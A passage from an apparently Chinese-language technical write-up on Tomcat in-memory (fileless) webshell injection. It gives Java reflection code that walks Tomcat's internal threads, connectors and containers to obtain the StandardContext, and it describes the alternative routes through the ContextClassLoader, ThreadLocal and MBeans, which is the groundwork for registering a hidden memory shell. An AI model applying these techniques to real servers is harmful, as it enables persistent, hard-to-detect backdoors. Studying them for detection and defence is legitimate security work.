                    this.serverName = serverNameMB.toString();
                }
                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                this.uri = (String) getField(uriMB, "strValue");
                if (this.uri == null) {
                    this.uri = uriMB.toString();
                }
                //根据获取到的服务器名、路径信息获取StandardContext
                this.getStandardContext();
                return;
            }
        }

        public void getStandardContext() {
            Object jioEndPoint = this.GetAcceptorThread();
            if (jioEndPoint == null) {
                return;
            }
            Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
            StandardEngine engine = (StandardEngine) getField(service, "container");
            if (engine == null) {
                engine = (StandardEngine) getField(service, "engine");
            }

            HashMap children = (HashMap) getField(engine, "children");
            StandardHost standardHost = (StandardHost) children.get(this.serverName);
            if(standardHost==null){
                standardHost = (StandardHost) children.get("localhost");
            }
            children = (HashMap) getField(standardHost, "children");
            Iterator iterator = children.keySet().iterator();
            while (iterator.hasNext()) {
                String contextKey = (String) iterator.next();
                if (contextKey.isEmpty()||!(this.uri.startsWith(contextKey))) {
                    continue;
                }
                StandardContext standardContext = (StandardContext) children.get(contextKey);
                this.standardContext = standardContext;
                return;
            }
        }
        public StandardContext getSTC() {
            return this.standardContext;
        }
    }
}

另外，在Tomcat下还有一个Poller线程，它和Acceptor一起负责接收请求，在Poller线程中同样可用找到StandardContext，流程和Acceptor是一样的。（在ContainerBackgroundProcessor线程下也可以找到StandardContext）

从ContextClassLoader获取（只可用于Tomcat 8 9）

由于Tomcat处理请求的线程中，存在ContextLoader对象，而这个对象又保存了StandardContext对象，所以很方便就获取了。

1
2

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

从ThreadLocal获取request

这种方法可以兼容tomcat 789，但在Tomcat 6下无法使用。

基于tomcat的内存 Webshell 无文件攻击技术
从MBean中获取（兼容Tomcat789）

Tomcat 使用 JMX MBean 来实现自身的性能管理。而我们可以从jmxMBeanServer对象，在其field中一步一步找到StandardContext对象。但有个很大的局限性在于，必须猜中项目名和host，才能获取到对应的standardContext对象。

中间件内存马注入&冰蝎连接(附更改部分代码)